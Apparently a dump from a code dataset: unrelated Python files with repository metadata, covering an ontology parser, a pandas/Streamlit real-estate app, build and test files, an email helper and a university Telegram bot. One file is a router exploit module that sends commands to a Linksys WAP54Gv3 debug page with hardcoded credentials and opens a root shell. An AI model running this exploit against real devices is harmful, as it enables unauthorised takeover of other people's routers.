extract_role_iri(owl_existential_concept): return type(owl_existential_concept.property()).iri def extract_concept_iri(owl_existential_concept): return type(owl_existential_concept.value()).iri def get_individual_sup_and_role(owl_individual_concept): for role in owl_individual_concept.get_properties(): sup_concepts = owl_individual_concept.__getattr__(role.name) for sup_concept in sup_concepts: yield sup_concept, role if __name__ == '__main__': parse('../data/example.owl')

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0.316327

0

null

0

null

0

1

0

c5ddc99605250642acabc6c67ce2c33587aadd67

1,199

py

Python

setup.py

FilippoBovo/robustats

80e1712ede9d40de0b1524b31247fc4233c3c01a

[ "MIT" ]

35

2019-08-05T12:46:28.000Z

2022-01-25T10:37:32.000Z

setup.py

FilippoBovo/robustats

80e1712ede9d40de0b1524b31247fc4233c3c01a

[ "MIT" ]

14

2020-01-25T19:04:03.000Z

2022-02-03T18:09:40.000Z

setup.py

FilippoBovo/robustats

80e1712ede9d40de0b1524b31247fc4233c3c01a

[ "MIT" ]

9

2019-08-12T21:15:47.000Z

2021-03-11T03:15:43.000Z

from setuptools import Extension, setup try: import numpy.distutils.misc_util except ModuleNotFoundError: from setuptools import dist dist.Distribution().fetch_build_eggs(["numpy"]) import numpy.distutils.misc_util with open("README.md", "r") as f: long_description = f.read() setup( name="robustats", version="0.1.7", description="Robustats is a Python library for high-performance computation" " of robust statistical estimators.", long_description=long_description, long_description_content_type="text/markdown", classifiers=[ "Programming Language :: Python :: 3", ], url="https://github.com/FilippoBovo/robustats", download_url="https://github.com/FilippoBovo/robustats/archive/" "v0.1.5.tar.gz", author="Filippo Bovo", author_email="bovo.filippo@gmail.com", license="MIT", packages=["robustats"], install_requires=["numpy"], ext_modules=[ Extension( name="_robustats", sources=["c/_robustats.c", "c/robustats.c", "c/base.c"], extra_compile_args=["-std=c99"], include_dirs=numpy.distutils.misc_util.get_numpy_include_dirs(), ) ], )

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0.667223

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5.55

0.621429

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0.117647

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null

0

null

0

1

0

c5deb628bbf28f92e9fb877f806010e3dd5181f9

11,265

py

Python

House Rocket Company/projeto_portifolio.py

IgorQueiroz32/curso_meigaron_pyhton_ao_ds

91e7b8336065dc841f620847997156bad6fed35e

[ "MIT" ]

null

House Rocket Company/projeto_portifolio.py

IgorQueiroz32/curso_meigaron_pyhton_ao_ds

91e7b8336065dc841f620847997156bad6fed35e

[ "MIT" ]

null

House Rocket Company/projeto_portifolio.py

IgorQueiroz32/curso_meigaron_pyhton_ao_ds

91e7b8336065dc841f620847997156bad6fed35e

[ "MIT" ]

null

import pandas as pd import streamlit as st import numpy as np import plotly.express as px st.set_page_config(layout='wide')# deixa a tabela no site maior, mais larga # read data @st.cache(allow_output_mutation=True) # funcao q permite ler os dados da memoria virtual def get_data(path): data = pd.read_csv(path) return data # Load data path = 'kc_house_data.csv' data = get_data(path) # transformation # excluding outliers data.drop(data[data['bedrooms']>11].index,inplace=True) data.drop(data[(data['bedrooms']==0) | (data['bathrooms']==0)].index,inplace=True) data.drop(data[(data['id']==125059179) | (data['id']==125059178)].index,inplace=True) # data transformation pd.set_option('display.float_format', lambda x: '%.3f' % x) data['date'] = pd.to_datetime(data['date']).dt.strftime('%Y-%m-%d') data['month_day'] = pd.to_datetime(data['date']).dt.strftime('%m-%d') st.title('House Rocket Company') st.markdown('Welcome to House Rocket Data Analysis') # solving first question (which houses should be bought) st.header('Houses to Buy') price_median_buy = data[['price', 'zipcode']].groupby('zipcode').median().reset_index() price_median_buy.columns = ['zipcode', 'price_median_buy'] houses_to_buy = pd.merge(data,price_median_buy,on='zipcode',how='inner') for i in range(len(houses_to_buy)): if (houses_to_buy.loc[i, 'price'] < houses_to_buy.loc[i, 'price_median_buy']) & ( houses_to_buy.loc[i, 'condition'] >= 3): houses_to_buy.loc[i, 'status'] = 'buy' else: houses_to_buy.loc[i, 'status'] = 'do not buy' first_column = houses_to_buy.pop('status') houses_to_buy.insert(0, 'status', first_column) st.dataframe(houses_to_buy) st.write("This table informs which house is indicated to buy, also it presents all houses characteristics.") #solving first question second part st.header('Houses Recommendation to Buy') for i in range(len(houses_to_buy)): if (houses_to_buy.loc[i, 'bedrooms'] >= 8) | (houses_to_buy.loc[i, 'sqft_lot'] >= 1074218) | ( houses_to_buy.loc[i, 'bathrooms'] >= 4.25): houses_to_buy.loc[i, 'recommendation_to_buy'] = 'very_high' elif (houses_to_buy.loc[i, 'floors'] >= 2) & (houses_to_buy.loc[i, 'bedrooms'] >= 4) & ( houses_to_buy.loc[i, 'bedrooms'] <= 7) & (houses_to_buy.loc[i, 'bathrooms'] >= 2) & ( houses_to_buy.loc[i, 'bathrooms'] <= 4): houses_to_buy.loc[i, 'recommendation_to_buy'] = 'high' else: houses_to_buy.loc[i, 'recommendation_to_buy'] = 'regular' for i in range(len(houses_to_buy)): if (houses_to_buy.loc[i, 'month_day'] >= '03-01') & (houses_to_buy.loc[i, 'month_day'] <= '05-31'): houses_to_buy.loc[i, 'season'] = 'spring' elif (houses_to_buy.loc[i, 'month_day'] >= '06-01') & (houses_to_buy.loc[i, 'month_day'] <= '08-31'): houses_to_buy.loc[i, 'season'] = 'summer' elif (houses_to_buy.loc[i, 'month_day'] >= '09-01') & (houses_to_buy.loc[i, 'month_day'] <= '11-30'): houses_to_buy.loc[i, 'season'] = 'fall' else: houses_to_buy.loc[i, 'season'] = 'winter' # solving second question first part (for how much the houses should be sold) houses_buy_sell = houses_to_buy houses_buy_sell = houses_buy_sell[houses_buy_sell.status == 'buy'] houses_buy_sell = houses_buy_sell.drop('status', axis=1) first_column1 = houses_buy_sell.pop('recommendation_to_buy') houses_buy_sell.insert(0,'recommendation_to_buy',first_column1) price_median_sell = houses_buy_sell[['price', 'zipcode', 'season']].groupby( ['zipcode', 'season']).median().reset_index() price_median_sell.columns = ['zipcode', 'season', 'price_median_sell'] houses_buy_sell = pd.merge(houses_buy_sell, price_median_sell, how='inner') for i in range(len(houses_buy_sell)): if (houses_buy_sell.loc[i, 'price'] < houses_buy_sell.loc[i, 'price_median_sell']) & ( houses_buy_sell.loc[i, 'recommendation_to_buy'] == 'regular'): houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.3) elif (houses_buy_sell.loc[i, 'price'] < houses_buy_sell.loc[i, 'price_median_sell']) & ( houses_buy_sell.loc[i, 'recommendation_to_buy'] == 'high'): houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.375) elif (houses_buy_sell.loc[i, 'price'] < houses_buy_sell.loc[i, 'price_median_sell']) & ( houses_buy_sell.loc[i, 'recommendation_to_buy'] == 'very_high'): houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.45) elif (houses_buy_sell.loc[i, 'price'] > houses_buy_sell.loc[i, 'price_median_sell']) & ( houses_buy_sell.loc[i, 'recommendation_to_buy'] == 'regular'): houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.10) elif (houses_buy_sell.loc[i, 'price'] > houses_buy_sell.loc[i, 'price_median_sell']) & ( houses_buy_sell.loc[i, 'recommendation_to_buy'] == 'high'): houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.125) else: houses_buy_sell.loc[i, 'price_to_sell'] = houses_buy_sell.loc[i, 'price'] + ( houses_buy_sell.loc[i, 'price'] * 0.15) first_column2 = houses_buy_sell.pop('price_to_sell') houses_buy_sell.insert(4, 'price_to_sell', first_column2) #solving second question second part (when sell the houses) for i in range(len(houses_buy_sell)): houses_buy_sell.loc[i, 'profit'] = (houses_buy_sell.loc[i, 'price_to_sell']) - (houses_buy_sell.loc[i, 'price']) first_column3 = houses_buy_sell.pop('profit') houses_buy_sell.insert(5, 'profit', first_column3) for i in range(len(houses_buy_sell)): houses_buy_sell.loc[i,'profit_percentage_per_house'] = (((houses_buy_sell.loc[i,'price_to_sell']) - (houses_buy_sell.loc[i,'price'])) / houses_buy_sell.loc[i,'price']) * 100 first_column4 = houses_buy_sell.pop('profit_percentage_per_house') houses_buy_sell.insert(6,'profit_percentage_per_house',first_column4) for i in range(len(houses_buy_sell)): houses_buy_sell.loc[i,'profit_percentage_total'] = ((houses_buy_sell.loc[i,'profit']) / (houses_buy_sell['profit'].sum())) * 100 first_column5 = houses_buy_sell.pop('profit_percentage_total') houses_buy_sell.insert(7,'profit_percentage_total',first_column5) time_to_sell = houses_buy_sell[['profit', 'profit_percentage_total', 'season']].groupby(['season']).sum().reset_index() time_to_sell.columns = ['season', 'profit', 'profit_percentage_total'] df1 = houses_buy_sell[['profit', 'season','recommendation_to_buy','profit_percentage_total']].groupby(['season','recommendation_to_buy']).sum().reset_index() df2 = houses_buy_sell[['id', 'season','recommendation_to_buy']].groupby(['season','recommendation_to_buy']).count().reset_index() gen_ind_profit = pd.merge(df1,df2,how='inner') for i in range(len(gen_ind_profit)): gen_ind_profit.loc[i,'profit_each_house'] = (gen_ind_profit.loc[i,'profit']) / (gen_ind_profit.loc[i,'id']) gen_ind_profit.columns = ['season','recommendation_to_buy','total_profit','profit_percentage_total','num_of_houses','mean_profit_each_house'] #criar uma tabela com preco total de compra, total de profit e percentual de diferenca total_price = houses_buy_sell['price'].sum() total_profit = houses_buy_sell['profit'].sum() total = pd.DataFrame([[total_price, total_profit]], columns=['total_price', 'total_profit']) for i in range(len(total)): total.loc[i,'profit_percentage'] = ((total.loc[i,'total_profit']) / (total.loc[i,'total_price'])) * 100 # #plot map # f_recommendation_to_buy = st.sidebar.multiselect('Enter Houses Recommendation to Buy', # houses_buy_sell['recommendation_to_buy'].sort_values().unique()) # 3.3.1 # # if f_recommendation_to_buy != []: # houses_buy_sell_map = houses_buy_sell.loc[houses_buy_sell['recommendation_to_buy'].isin(f_recommendation_to_buy)] # # else: # houses_buy_sell_map = houses_buy_sell.copy() # # st.dataframe(houses_buy_sell_map) # st.write("Here the table is organised by houses recommendation, such as : regular, high and very high. Also it informs other houses characteristics, such as: price to sell, profit, and others.") # # st.header('Portfolio Map') # st.write(" This map shows the location, price and condition of each house.") # fig = px.scatter_mapbox(houses_buy_sell_map, # lat = 'lat', # lon = 'long', # color = 'condition', # size = 'price', # color_continuous_scale = 'Bluered_r', # size_max = 15, # zoom = 10) # # fig.update_layout(mapbox_style = 'open-street-map') # fig.update_layout(height = 600, margin = {'r':0, 't':0, 'l':0, 'b':0}) # st.plotly_chart(fig) # # st.header('Best Moment to Sell') # st.dataframe(time_to_sell) # st.write("According this table, summer presents the highest amount of profit, with more than 30 percent, so it is the best moment to sell houses.") # # st.header('General and Individual Profit') # st.dataframe(gen_ind_profit) # st.write("Here it is possible to identify the houses profit by season and houses recommendation, also the table shows the mean profit made by each house. ") # st.write("This table informs that regular houses make the highest profit than the others recommendations in every season, flouting between 15.5 and 27.5 percent, with summer presenting the highest profit andd winter the lowest.") # st.write("However, dividing the profit by the number of houses, both related to each type of house recommendation, houses very high recommended presents the highest profit among all recommendations. Where summer is at first position with $138675,00 of profit per house; and winter at last position with $88,262.1429.") # # st.header('Total Profit Percentage') # st.dataframe(total) # st.write("This table represents the total profit by buying and selling all houses recommended to buy. It informs that, by following this project, the company would have a profit of almost 19 percent, Which is more than $771 millions.") s = data[data['waterfront'] == 'yes'] st.dataframe(s) st.title('Hypothesis') c1, c2 = st.beta_columns((1, 1)) st.header('Hypothesis 01: Houses with water view are 20% more expensive, on the average.') h1 = data[['price', 'waterfront']].groupby('waterfront').mean().reset_index() # (produto mais caro - produto mais barato) / produto mais barato * 100 h1_answer = ((h1.loc[1, 'price']) - (h1.loc[0, 'price'])) / (h1.loc[0, 'price']) * 100 fig = px.bar(h1, x='waterfront', y='price') c1.plotly_chart(fig, use_container_width=True) c2.dataframe(h1) st.write('False: Houses with water view are {} percent more expensive'.format(h1_answer))

49.845133

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0.186911

0

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225

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0

null

0

null

0

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0

c5def7912a76945ddbbf8544b1d7e3567390b9f4

1,837

py

Python

maza/modules/exploits/routers/linksys/wap54gv3_rce.py

ArturSpirin/maza

56ae6325c08bcedd22c57b9fe11b58f1b38314ca

[ "MIT" ]

2

2020-02-06T20:24:31.000Z

2022-03-08T19:07:16.000Z

maza/modules/exploits/routers/linksys/wap54gv3_rce.py

ArturSpirin/maza

56ae6325c08bcedd22c57b9fe11b58f1b38314ca

[ "MIT" ]

null

maza/modules/exploits/routers/linksys/wap54gv3_rce.py

ArturSpirin/maza

56ae6325c08bcedd22c57b9fe11b58f1b38314ca

[ "MIT" ]

null

import re from maza.core.exploit import * from maza.core.http.http_client import HTTPClient class Exploit(HTTPClient): __info__ = { "name": "Linksys WAP54Gv3", "description": "Module exploits remote command execution in Linksys WAP54Gv3 devices. " "Debug interface allows executing root privileged shell commands is available " "on dedicated web pages on the device.", "authors": ( "Phil Purviance", # vulnerability discovery "Marcin Bury <marcin[at]threat9.com>", # routersploit module ), "references": ( "http://seclists.org/bugtraq/2010/Jun/93", ), "devices": ( "Linksys WAP54Gv3", ) } target = OptIP("", "Target IPv4 or IPv6 address") port = OptPort(80, "Target HTTP port") def run(self): if self.check(): print_success("Target is vulnerable") print_status("Invoking command loop...") shell(self) else: print_error("Target is not vulnerable") def execute(self, cmd): data = {"data1": cmd, "command": "ui_debug"} response = self.http_request( method="POST", path="/debug.cgi", data=data, auth=("Gemtek", "gemtekswd") ) if response is None: return "" res = re.findall('<textarea rows=30 cols=100>(.+?)</textarea>', response.text, re.DOTALL) if len(res): return res[0] return "" @mute def check(self): mark = utils.random_text(32) cmd = "echo {}".format(mark) response = self.execute(cmd) if mark in response: return True # target is vulnerable return False # target is not vulnerable

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0.549809

192

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0

0.02381

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0.317269

0.027539

0

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false

0

0.058824

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0.294118

0.058824

0

null

0

null

0

1

0

c5e08860d8f2994d7150f270e35eaf30cd51d00e

1,642

py

Python

client/debian/opt/mirrorcast/hosts.py

3djake/mirrorcast

37d19a3b0dcea2529387b0c58245368bdde1f012

[ "Xnet", "X11" ]

36

2017-10-30T02:06:24.000Z

2022-03-08T05:45:58.000Z

client/debian/opt/mirrorcast/hosts.py

3djake/mirrorcast

37d19a3b0dcea2529387b0c58245368bdde1f012

[ "Xnet", "X11" ]

5

2018-02-06T17:13:14.000Z

2019-09-11T07:02:01.000Z

client/debian/opt/mirrorcast/hosts.py

3djake/mirrorcast

37d19a3b0dcea2529387b0c58245368bdde1f012

[ "Xnet", "X11" ]

6

2018-01-13T22:45:46.000Z

2020-12-13T19:17:33.000Z

# -*- coding: utf-8 -*- import logging, os, csv, logging.handlers mirror_logger = logging.getLogger() mirror_logger.setLevel(logging.DEBUG) handler = logging.handlers.SysLogHandler(address = '/dev/log') formatter = logging.Formatter(' mirrorcast - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) mirror_logger.addHandler(handler) #logging.basicConfig(filename='/opt/mirrorcast/mirrorcast.log',level=logging.DEBUG,format='%(asctime)s %(message)s', datefmt='%d/%m/%Y %I:%M:%S %p') class Hosts(): def __init__(self): self.receivers = [] self.receiver = "None" #load list of receivers from file try: with open(os.path.dirname(os.path.abspath(__file__)) + "/receivers") as csvfile: file = csv.DictReader(csvfile) for line in file: self.receivers.append(line) except: mirror_logger.error("Failed to load host names") exit(0) csvfile.close() self.aspect = self.receivers[0]['aspect'] #set receiver to the one picked by the user def set_receiver(self, but, name): self.receiver = str(but.get_label()) for i in self.receivers: if i['host'] == self.receiver and but.get_active(): self.aspect = i['aspect'] mirror_logger.info("Receiver set to: " + i['host'] + " Receivers aspect: " + self.aspect) return if but.get_active(): self.receiver = "None" self.aspect = "16:9" mirror_logger.info("Receiver set to: " + self.receiver)

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null

0

null

0

1

0

c5e0e3dcd9cc4a1675a98c9eba308c33df18c2ec

1,858

py

Python

conans/test/functional/toolchains/meson/test_test.py

JoachimKuebart-TomTom/conan

bf716c094d6b3f5acd727eed3c4b4fe1ad9e1c00

[ "MIT" ]

6,205

2015-12-01T13:40:05.000Z

2022-03-31T07:30:25.000Z

conans/test/functional/toolchains/meson/test_test.py

JoachimKuebart-TomTom/conan

bf716c094d6b3f5acd727eed3c4b4fe1ad9e1c00

[ "MIT" ]

8,747

2015-12-01T16:28:48.000Z

2022-03-31T23:34:53.000Z

conans/test/functional/toolchains/meson/test_test.py

JoachimKuebart-TomTom/conan

bf716c094d6b3f5acd727eed3c4b4fe1ad9e1c00

[ "MIT" ]

961

2015-12-01T16:56:43.000Z

2022-03-31T13:50:52.000Z

import os import platform import pytest import textwrap from conans.test.assets.sources import gen_function_cpp from conans.test.functional.toolchains.meson._base import TestMesonBase @pytest.mark.tool_pkg_config @pytest.mark.skipif(platform.system() == "Windows", reason="Doesn't work in Windows") class MesonTest(TestMesonBase): _test_package_meson_build = textwrap.dedent(""" project('test_package', 'cpp') hello = dependency('hello', version : '>=0.1') test_package = executable('test_package', 'test_package.cpp', dependencies: hello) test('test package', test_package) """) _test_package_conanfile_py = textwrap.dedent(""" import os from conans import ConanFile from conan.tools.meson import Meson, MesonToolchain class TestConan(ConanFile): settings = "os", "compiler", "build_type", "arch" generators = "pkg_config" def generate(self): tc = MesonToolchain(self) tc.generate() def build(self): meson = Meson(self) meson.configure() meson.build() def test(self): meson = Meson(self) meson.configure() meson.test() """) def test_reuse(self): self.t.run("new hello/0.1 -s") test_package_cpp = gen_function_cpp(name="main", includes=["hello"], calls=["hello"]) self.t.save({os.path.join("test_package", "conanfile.py"): self._test_package_conanfile_py, os.path.join("test_package", "meson.build"): self._test_package_meson_build, os.path.join("test_package", "test_package.cpp"): test_package_cpp}) self.t.run("create . hello/0.1@ %s" % self._settings_str) self._check_binary()

32.034483

99

0.609795

212

1,858

5.141509

0.349057

0.161468

0.06422

0.080734

0.161468

0.06789

0

0.004405

0.266954

1,858

57

100

32.596491

0.795888

0

0.190476

0

0.548439

0.037675

0

1

0.02381

false

0

0.214286

0

0.309524

0

null

0

null

0

1

0

c5e592573090b48a85fca155922e80c7a71aa738

1,807

py

Python

FFL/game/alert.py

LS80/FFL

a853932598ab6c7ae31e2935c83607ff9968ed37

[ "MIT" ]

null

FFL/game/alert.py

LS80/FFL

a853932598ab6c7ae31e2935c83607ff9968ed37

[ "MIT" ]

null

FFL/game/alert.py

LS80/FFL

a853932598ab6c7ae31e2935c83607ff9968ed37

[ "MIT" ]

1

2019-07-15T06:40:46.000Z

import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email.mime.image import MIMEImage from email.utils import COMMASPACE, formatdate from email import encoders from os.path import basename class HTMLEmail(object): def __init__(self, to, sender, name, bcc=None, reply_to=None): assert type(to)==list self.to = to self.sender = sender self.name = name if bcc is not None: self.bcc = [bcc] else: self.bcc = [] self.reply_to = reply_to def send(self, subject, html, smtp_server, images=[], zipfile=None): msg = MIMEMultipart() msg['From'] = '{0} <{1}>'.format(self.name, self.sender) msg['To'] = COMMASPACE.join(self.to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject if self.reply_to is not None: msg['Reply-To'] = self.reply_to msg.attach(MIMEText(html.encode('utf-8'), 'html', 'utf-8')) for i, image in enumerate(images): img = MIMEImage(image.read()) img.add_header('Content-ID', '<image{0}>'.format(i+1)) msg.attach(img) if zipfile: zip = MIMEBase('application', 'zip') zip.set_payload(zipfile.read()) encoders.encode_base64(zip) zip.add_header('Content-Disposition', 'attachment; filename=%s' % basename(zipfile)) msg.attach(zip) smtp = smtplib.SMTP(smtp_server) smtp.sendmail(self.sender, set(self.to+self.bcc), msg.as_string()) smtp.close() if __name__ == '__main__': em = HTMLEmail(['test@lee-smith.me.uk'], "lee@lee-smith.me.uk", "FFL", bcc="bcc@lee-smith.me.uk", reply_to="reply@lee-smith.me.uk") em.send('Testing', '<h1>Testing</h1><br><img height="500px" width="700px" src="cid:image1">', 'localhost', images=['test.png'])

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0

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0.234043

0

null

0

null

0

1

0

c5e5a2d0a8855ac8866eb2bdacdaddaecc238eb1

16,781

py

Python

captions.py

marsDurden/UnipdBot

402b74f6bd876265b952f052e2c132f6aa3c050d

[ "Unlicense" ]

4

2018-04-12T03:39:36.000Z

2019-11-26T07:52:30.000Z

captions.py

marsDurden/UnipdBot

402b74f6bd876265b952f052e2c132f6aa3c050d

[ "Unlicense" ]

null

captions.py

marsDurden/UnipdBot

402b74f6bd876265b952f052e2c132f6aa3c050d

[ "Unlicense" ]

1

2019-10-07T16:50:48.000Z

import pickle, json, datetime, requests from bs4 import BeautifulSoup from geopy.distance import vincenty from datetime import datetime from threading import Timer from config import uniopen_url class Captions: def __init__(self, supported_languages, captions_path, quick=True): self.data = dict() self.columns = supported_languages self.default = 'it' self.path = captions_path # Update menu every 15 minutes #self.update_thread = RepeatedTimer(60*15, self.update_mense) if quick: try: self.data = pickle.load( open( self.path + "captions.pkl", "rb" ) ) except FileNotFoundError: self.update_json() else: self.update_json() self.daily_mensa = {'new': [], 'completed': []} def stop(self): self.update_thread.stop() def update_json(self): # Load languages json for filename in self.columns: with open(self.path + filename + '.json', 'r') as f: self.data[filename] = json.load(f) # Utils json with open(self.path + 'biblio.json', 'r') as f: self.data['sub_commands'] = json.load(f) for filename in ['aule_studio', 'mense']: with open(self.path + filename + '.json', 'r') as f: a = json.load(f) self.data['sub_commands'] = {**self.data['sub_commands'], **a} with open(self.path + 'keyboard.json', 'r') as f: self.data['keyboard'] = json.load(f) #print(json.dumps(self.data['sub_commands'], indent=4)) # Save as pickle pickle.dump( self.data, open( self.path + "captions.pkl", "wb" ) ) def get_reply(self, name, lang=None): if lang is None: lang = self.default try: data = self.data[lang][name] except KeyError: data = self.data['sub_commands'][name] if data['type'] == 0: # Principali return data['reply'] elif data['type'] == 1: # Biblioteche / aulestudio string = self.data[lang]['type-1-string'] posti = '' # Get number of seats left if name == 'pinali': n = requests.get("http://zaphod.cab.unipd.it/pinali/PostiLiberiPinali.txt").text.replace(' ','').replace('\n','') posti = '_' + string[1] + ':_ ' + n + '\n' elif name == 'metelli': n = requests.get("http://zaphod.cab.unipd.it/psico/disponibilita.txt").text.replace(' ','').replace('\n','') posti = '_' + string[1] + ':_ ' + n + '\n' elif name == 'bibliogeo': n = requests.get("https://docs.google.com/spreadsheets/d/e/2PACX-1vRG83kEytkR_pNTo-aOLmxnvuQiHXVI926S6ZzIbyv2WOTV3emPF6Y70od3oUR3pJ1JZ8JxyG959vMw/pubhtml?gid=1179896160&single=true") n = BeautifulSoup(n.text, 'html.parser') n = n.findAll("td", {"class": "s1"}) posti = '_' + string[1] + ':_ ' + n[0].text + '\n_' + string[2] + ':_ ' + n[1].text + '\n' elif name == 'matematica': n = requests.get("https://wss.math.unipd.it/biblioteca/posti_liberi.txt").text.replace('\n','') if n != 'dato non disponibile': posti = '_' + string[1] + ':_ ' + n + '\n' reply = string[0].format(data['title'], posti, data['address'], data['timetable']) dict_days = self.data[lang]['orario']['reply']['days'] list_days = list(dict_days) for i, day in enumerate(dict_days.values()): reply = reply.replace(list_days[i], day) return reply elif data['type'] == 2: # Mense list_string = self.data[lang]['type-2-string'] # Opened or closed pranzo/cena pranzo = '*' + list_string[1] + '* ' + list_string[3].format(data['pranzo']['apertura'], data['pranzo']['chiusura']) if data['pranzo']['aperta'] else '*' + list_string[2] + '*' cena = '*' + list_string[1] + '* ' + list_string[3].format(data['cena']['apertura'], data['cena']['chiusura']) if data['cena']['aperta'] else '*' + list_string[2] + '*' reply = list_string[0].format(data['nome'], data['indirizzo'], pranzo, cena) # Menu if datetime.utcnow().hour < 15: # Pranzo if data['pranzo']['primo'] != '': reply += list_string[4].format(data['pranzo']['primo'], data['pranzo']['secondo'], data['pranzo']['contorno']) if data['pranzo']['dessert'] != '': reply += list_string[5].format(data['pranzo']['dessert']) else: # Cena if data['cena']['primo'] != '': reply += list_string[4].format(data['cena']['primo'], data['cena']['secondo'], data['cena']['contorno']) if data['cena']['dessert'] != '': reply += list_string[5].format(data['cena']['dessert']) return reply def get_keyboard(self, name, lang=None, isGroup=False): if lang is None: lang = self.default # Keyboards if name == 'home': if not isGroup: markup = [['orario', 'mensa'], ['biblioteca', 'aulastudio'], ['diritto_studio', 'udupadova'], ['vicino a te', 'botinfo']] else: markup = [['orario'], ['mensa', 'aulastudio'], ['biblioteca', 'udupadova'], ['diritto_studio', 'botinfo']] elif name == 'mensa': markup = [["sanfrancesco", "piovego"], ["agripolis", "acli"], ["belzoni", "murialdo"], ["forcellini", "home"]] elif name == 'aulastudio': markup = [["jappelli", "pollaio"], ["titolivio", "galilei"], ["marsala", "viavenezia"], ["aulaSanGaetano", "reset"], ["home"]] elif name == 'biblioteca': markup = [["bibliodiritto", "filosofia", "ingegneria"], ["someda", "maldura", "matematica"], ["storia", "metelli", "pinali"], ["caborin", "cuzabarella", "universitaria"], ["bibliochimica", "agribiblio", "bibliogeo"], ["sangaetano", "liviano", "bibliofarmacia"], ["vbranca", "home"]] elif name == 'diritto_studio': markup = [["borse", "tasse"], ["200ore", "informami"], ["home"]] elif name == 'udupadova': markup = [["faqlibretto", "erasmus"], ["controguida", "cambiocorso"], ["assembleaudu", "sedeudu"], ["home"]] else: data = self.data['keyboard'][name] # Sostituisce i nomi dei bottoni inline if data['inline']: try: for i, item in enumerate(self.data[lang][name]['markup'].values()): data['markup'][str(i)]['text'] = item except KeyError: pass return [_ for _ in data.values()] # Sostituisce i nomi dei comandi nella tastiera for i, row in enumerate(markup): for j, caption in enumerate(row): try: markup[i][j] = self.data[lang]['commands'][caption] except (KeyError, TypeError): try: markup[i][j] = self.data[lang]['sub_commands'][caption] except (KeyError, TypeError): pass if ' ' not in markup[i][j]: markup[i][j] = '/' + markup[i][j] return markup def get_command_handlers(self, key): reply = [] if key == 'sub_commands': commands = [] for lang in self.columns: for item in self.data[lang]['sub_commands'].values(): commands.append(item) else: commands = [self.data[lang]['commands'][key] for lang in self.columns] for item in commands: if item not in reply: reply.append(item) return reply def inverse_command_map(self, key, lang=None): if lang == None: lang = self.default my_map = self.data[lang]['sub_commands'] inv_map = {v: k for k, v in my_map.items()} return inv_map[key] def reply_position(self, usrCoord, lang=None): if lang is None: lang = self.default markup = []; nearDist = []; unit = ['km' for _ in range(3)] distDict = {'mensa': {}, 'aulastudio': {}, 'biblioteca': {}} tmp = distDict today = str(datetime.today().weekday()) for item in [s.replace('/','') for t in self.get_keyboard('mensa', lang) for s in t]: if item != 'home': pranzo = self.data['sub_commands'][item]['pranzo']['aperta'] cena = self.data['sub_commands'][item]['cena']['aperta'] if cena or pranzo: distDict['mensa'][item] = {"lat": self.data['keyboard'][item]['lat'], "lon": self.data['keyboard'][item]['lon']} for item in [s.replace('/','') for t in self.get_keyboard('biblioteca', lang) for s in t]: if item != 'home': # TODO controllare che la biblio sia aperta distDict['biblioteca'][item] = {"lat": self.data['keyboard'][item]['lat'], "lon": self.data['keyboard'][item]['lon']} for item in [s.replace('/','') for t in self.get_keyboard('biblioteca', lang) for s in t]: if item != 'home': distDict['aulastudio'][item] = {"lat": self.data['keyboard'][item]['lat'], "lon": self.data['keyboard'][item]['lon']} for key in distDict: for i in distDict[key]: lat = distDict[key][i]['lat'] lon = distDict[key][i]['lon'] tmp[key][i] = vincenty((usrCoord['latitude'], usrCoord['longitude']), (lat, lon)).kilometers nearMensa = min(tmp['mensa'], key=tmp['mensa'].get) nearAula = min(tmp['aulastudio'], key=tmp['aulastudio'].get) nearBiblio = min(tmp['biblioteca'], key=tmp['biblioteca'].get) nearDist.append(float(tmp['mensa'][nearMensa])) nearDist.append(float(tmp['aulastudio'][nearAula])) nearDist.append(float(tmp['biblioteca'][nearBiblio])) for i in range(len(nearDist)): if nearDist[i] < 1: nearDist[i] = nearDist[i]*1000 unit[i] = 'm' str_lang = self.data[lang]['position']['reply'] line1 = "- `" + str_lang[0] + "` " + str_lang[1] + ": *{}*, " + str_lang[2] + " _{:.0f}_ " + unit[0] + ".\n\n" line1 = line1.format(self.data['sub_commands'][nearMensa]['nome'], nearDist[0]) line2 = "- `" + str_lang[3] + "` " + str_lang[1] + ": *{}*, " + str_lang[2] + " _{:.0f}_ " + unit[1] + ".\n\n" line2 = line2.format(self.data['sub_commands'][nearAula]['title'], nearDist[1]) line3 = "- `" + str_lang[4] + "` " + str_lang[1] + ": *{}*, " + str_lang[2] + " _{:.0f}_ " + unit[2] + ".\n\n" line3 = line3.format(self.data['sub_commands'][nearBiblio]['title'], nearDist[2]) reply = line1 + line2 + line3 markup.append(['/'+nearMensa]) markup.append(['/'+nearAula]) markup.append(['/'+nearBiblio]) markup.append(['/home']) return reply, markup def update_mense(self): # Update Mense html = requests.get('http://www.esupd.gov.it/it') #print(html.headers['Date']) html = BeautifulSoup(html.content, "html.parser") rows = html.find('table',attrs={"summary":"Di seguito sono illustrate le mense con i loro tempi di attesa e i link ai menu, ove disponibili"}).find_all("tr") #for tmp in rows: #print(tmp.text) mense = dict() for row in rows: name = row.find('th').text.lower().replace(' ','') if name == 'piox': name = 'acli' elif name == 'nordpiovego': name = 'piovego' if name != '': mense[name] = {"type": 2, "pranzo": {}, "cena": {}} for i, cell in enumerate(row.find_all('td')): if i == 0: # Pranzo mense[name]['pranzo'] = {"aperta": cell.span['class'][0] == 'open', \ "primo": "", "secondo": "", "contorno": "", "dessert": ""} elif i == 1: # Cena mense[name]['cena'] = {"aperta": cell.span['class'][0] == 'open', \ "primo": "", "secondo": "", "contorno": "", "dessert": ""} elif i == 3: # Link menu a = cell.find('a') #print(name, a) if a is not None: html = requests.get('http://www.esupd.gov.it' + a['href']) html = BeautifulSoup(html.content, "html.parser") menu = html.find('div', attrs={'id': 'WebPartWPQ5'}) for i, portata in 